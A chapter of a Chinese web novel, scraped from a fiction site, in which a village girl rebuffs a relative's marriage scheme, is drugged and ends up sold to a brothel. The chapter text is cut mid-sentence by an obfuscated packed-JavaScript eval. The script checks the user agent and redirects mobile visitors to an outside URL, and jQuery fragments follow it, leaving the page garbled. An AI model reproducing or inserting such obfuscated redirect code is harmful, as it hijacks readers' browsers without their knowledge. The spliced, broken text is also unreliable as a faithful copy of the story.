文趣网 > 其他小说 > 双面太子诊疗手记 > 7. 黑白善恶难分辨。
    院子里,漆黑的身影徘徊,沈明微紧紧拽着手中的棍子,额头上的几乎冒了冷汗。

    那人背对着屋里,似乎在左右打量,隐约看到他双臂放在篱笆墙上,那姿势好像要往里爬一样。

    沈明微靠在窗边盯着黑影一举一动,浑身抖得几乎站不动,手不小心用上劲,窗门发出轻微却极为刺耳的声音。

    沈明微猛地屏住呼吸。

    外头的人影果然察觉动静顿了顿,似看过来。

    沈明微喉咙干涩,心想只要这人真翻过来她就叫人。

    又过了片刻,人影貌似只朝着院子里头看了一眼,在篱笆墙上挂了什么东西,就离开了。

    直到外头再也看不见那身影,沈明微才回过神来。

    她几乎是整个人瘫软坐在地上,身后浸了一层冷汗。

    躺到床上没多久的功夫,天幕如烧炉盖启,山边划出一道天光,鸡鸣四野。

    天已经蒙蒙亮起。沈明微将身上的布衣穿好,才敢打开房门到院子里去瞧。

    院中篱墙内侧孤零零挂了一个浅黄竹笼,晨起的薄雾笼罩在在乡间,周遭没什么人。

    沈明微将那竹笼拿下来,才发现这什物被一条靛蓝的发带绑在上头。

    原来是弃奴……

    想到天未亮时她心惊胆战生怕那黑影闯进来,还心想是该尖叫还是该敲一闷棍,只觉得好笑。

    彼时那人影胳膊伸到篱笆墙上,她还以为是要爬进来,想来是弃奴在思索怎么将这竹笼拿给她。

    虚惊一场。

    沈明微打开竹笼,里头搁着几块糕点,糕点表皮被炸得金黄,蜜枣微黄的流心从里头渗出来。

    如此精致的糕点定然用了不少工序,在这个连肉都很少买的时代,这种糕点也只有富贵人家会买来尝,弃奴居然天不亮就鬼鬼祟祟来给她送。

    想到前几日,弃奴离开时一脸认真说怕有损她名节的模样,沈明微心底泛起一丝甜意。

    她拿起那油纸,才发现那纸上竟然写着几个字。

    “蜜枣糕,好吃。”

    沈明微勉强认出这是用隶书写下的,这字笔法庄重典雅,想来是这卖糕点的商家放进来的。

    这几块糕点弃奴定是花了不少钱,要是卖给平民,商家才不会做这种华而不实的雅事。

    沈明微拿起一个叼在嘴里,蜜枣浓香盈满口腔,她将竹笼盖好拿进屋里。

    午后,沈明微去村里井边提水,周家婶子热切打招呼:“大丫啊,来提水啊。”

    “周婶子好。”

    周家婶子就是那日和张杏娘闲谈的妇人,后来沈明微才知道她住在村中北角。

    周婶子看沈明微提水的动作,只觉得这丫头不傻后看起来机灵劲十足,越看越顺眼,真不愧是沈爹读书人的女儿,只可惜家里没个儿子。

    她笑着问:“大丫,这是喜事将近了?”

    沈明微不明所以:“周婶,这是何意?”

    周婶子笑得暧昧:“还不给婶子说实话,听你表姨说,她近日在外头给你说亲,不是谈好一个人家了吗?不要瞒,快快从实招来。”

    沈明微手上的动作一顿,想到这又是张杏娘在背后搞的小动作,敢情真是要拿她的婚嫁做文章。

    周婶子都拿这话来问她,难不成全村都知道她要嫁了,就她本人不知道?

    沈明微将木桶里的半桶水倒进自己桶中,对周婶子郑重道:“周婶,我表姨从未给我说亲,我说不嫁的。”

    周婶子笑了笑,以为她是小女儿家羞嫁也没再说什么。

    待沈明微回到家,原本虚掩的院门当下敞开。

    走进院中时,就见张杏娘走出来,步伐微乱,手在衣角搓了搓。

    她还没去找张杏娘,张杏娘倒是来找她来了。

    沈明微将舀水进缸中,似不经意问:“表姨,我听村里人说你正在找人给我议亲,已经找到了,不日就要出嫁,可是真的?”

    张杏娘面露惊讶之色,随即连声骂道:“哪家的长舌妇,八字都没一撇的事怎么轻易这样传,这多影响姑娘家的名声。”

    沈明微不想听她辩解:“你给我议亲这事,有是没有?”

    张杏娘说:“是有这回事,不过是随便问问,你也到年纪,长辈为了你好自然要好好帮你相看。”

    沈明微把手上刚舀水的瓢丢回桶里,直起身:“少拿什么长辈不长辈的话说事,我嫁与不嫁与你何干?表姨怕不是图我出嫁夫家会送来的聘金吧!”

    说到后面,她抬高声音。

    张杏娘瞪大眼,像平白遭受了多大的冤屈,一脸不可思议:“你这是什么意思,你说我给你说亲事,是为了贪图你夫家的聘金?”

    沈明微:“那是为了什么?”

    张杏娘盯着沈明微,胸口不住起伏,却又被这话赌得严实。

    她半响才恼火道:“罢了罢了罢了!就当我是好心当成驴肝肺吧,我尽是闲着无事管上你了!你真是养不熟的白眼狼!”

    丢下这句话,张杏娘猛地推开院门,显得气急败坏。

    终于撕破脸了。

    沈明微再也不想同她玩那些虚以委蛇的把戏,朝着那身影喊道:“表姨,你可别来管我了,这院子你也别来了!”

    张杏娘背影猛地一顿,她扭过头,吊梢眼隔空锁住沈明微,目光中透出凶狠刻薄的寒意。

    她道:“沈家的丫头,你好得很!”一甩袖,扬长而去。

    沈明微才不去管她,撕破脸最好,她也不用怕张杏娘时不时在她背后搞些小动作,原主的这门亲戚太难缠了。

    沈明微进了屋,只觉得口头干涩就从水壶中倒了水来喝。第一口喝得太猛,喝了第二口才觉得不对劲。

    水没什么大味道,但入口却很苦涩。

    她正想拿着去倒了洗干净换一壶新水来,只觉得脑子一阵发晕,身体逐渐绵软,想到刚刚张杏娘从屋里出来一副慌乱的样子……

    外头青天白日,朗朗乾坤,沈明微坐到座椅上只觉一阵天旋地转地转,整个人失去意识。

    ……

    翌日,一顶披红的小轿子伴着唢呐声进了牛花村,两位轿夫又抬着轿摇摇晃晃地进了沈大丫院中。

    村里头的人看到这一幕,无

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17861515|212017||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    比是在院外翘首以待,孩童更是喧闹地争着来抢散下几颗喜糖。

    村里妇人看到张杏娘皆道:“大丫这是真嫁的郡里那户人家了?”

    张杏娘披红挂绿,吊梢眼你眯成一道缝,整个人喜气洋洋:“那可不。”

    “张杏娘,你从那谈来的好亲事?给我女儿也谈一个呗。”围观的妇人也是笑眯了眼,这成亲的喜事总是惹人喜。

    张杏娘笑着迎合道:“好说好说。”

    村里人正左顾右盼,也只看到一顶花轿和两个抬轿人,和一个吹唢呐的人,没看到他们想看的新郎官。

    有人就问:“可这郎君怎么不来?”

    张杏娘不急不慢解释:“这里山路崎岖,从郡里到这来回走得走多久,新郎官一行人也不好进来,他们已经在大路等着了。”

    村民有点疑惑,但也挑不出毛病,万一富贵人家就是怕苦怕累呢?

    这时,王耕背着人从屋内出来,他背上的姑娘身着一道水红衣裙、头上披着红盖头,大家都知道,这是沈大丫。

    村民又问:“怎么背出来的?”

    张杏娘眉眼含笑:“大户人家规矩多,新娘出嫁足不沾地是为吉利,得由亲哥哥背上花轿。大丫没有哥哥,自然得阿耕代劳。”

    村民觉得有理,纷纷应是。

    唢呐再次奏响,这顶接了沈大丫的小轿,又摇摇晃晃地沿着村道朝来时的方向走。

    村里嬉闹孩童在后头追赶,直到出了村,渐渐没了人。

    王耕一家三口跟着,到最后连唢呐都停了。

    ……

    黑暗的房中,自窗外投进几缕光,空气中流淌着淡淡的暖香,外头传来管弦丝竹之声,袅袅缠绵。

    沈明微扶着剧痛无比的额头醒过来下床,摇摇晃晃撑到桌前,桌面凝滑得像打了一层蜡,不是村里农户家用粗木打制的。

    即使屋中未点灯,凭着大致的布置轮廓,沈明微也知道这里不是沈家院,甚至不是牛花村。

    房外传来一位陌生妇人和一个男子交谈的声音,两人的影子投在轩窗上。

    妇人说:“这丫头醒了就去膳房拿点东西给她。”

    “是。”男人应声。

    “对了,这是个不错的苗子,我还花了大价钱,好好照料。”

    “是,姑姑。”

    沈明微听着外头的交谈,咽了咽口水,想到昏过去前喝下的那口水,还有刚进院门时张杏娘慌乱的眼神。

    她被算计了。

    听刚刚门口那两人说话的意思,她还是被张杏娘卖了,至于这里是哪里,她不知道。

    沈明微在桌上摸索,摸到桌上似瓷杯的什物,猛地砸到地上。

    这动静很快引起外头人的注意,守在门口的小厮推门进来。

    “姑娘醒了?”

    沈明微抬头看到门口背光的小厮,哑声问:“这是哪里?”

    小厮昂了昂头,语气中似有得意:“这是巫阳台,俞洲郡最大的风月场,可称天上人间月,天下巫阳台。”

    沈明微重重坐回在椅子上。

    这是……青楼?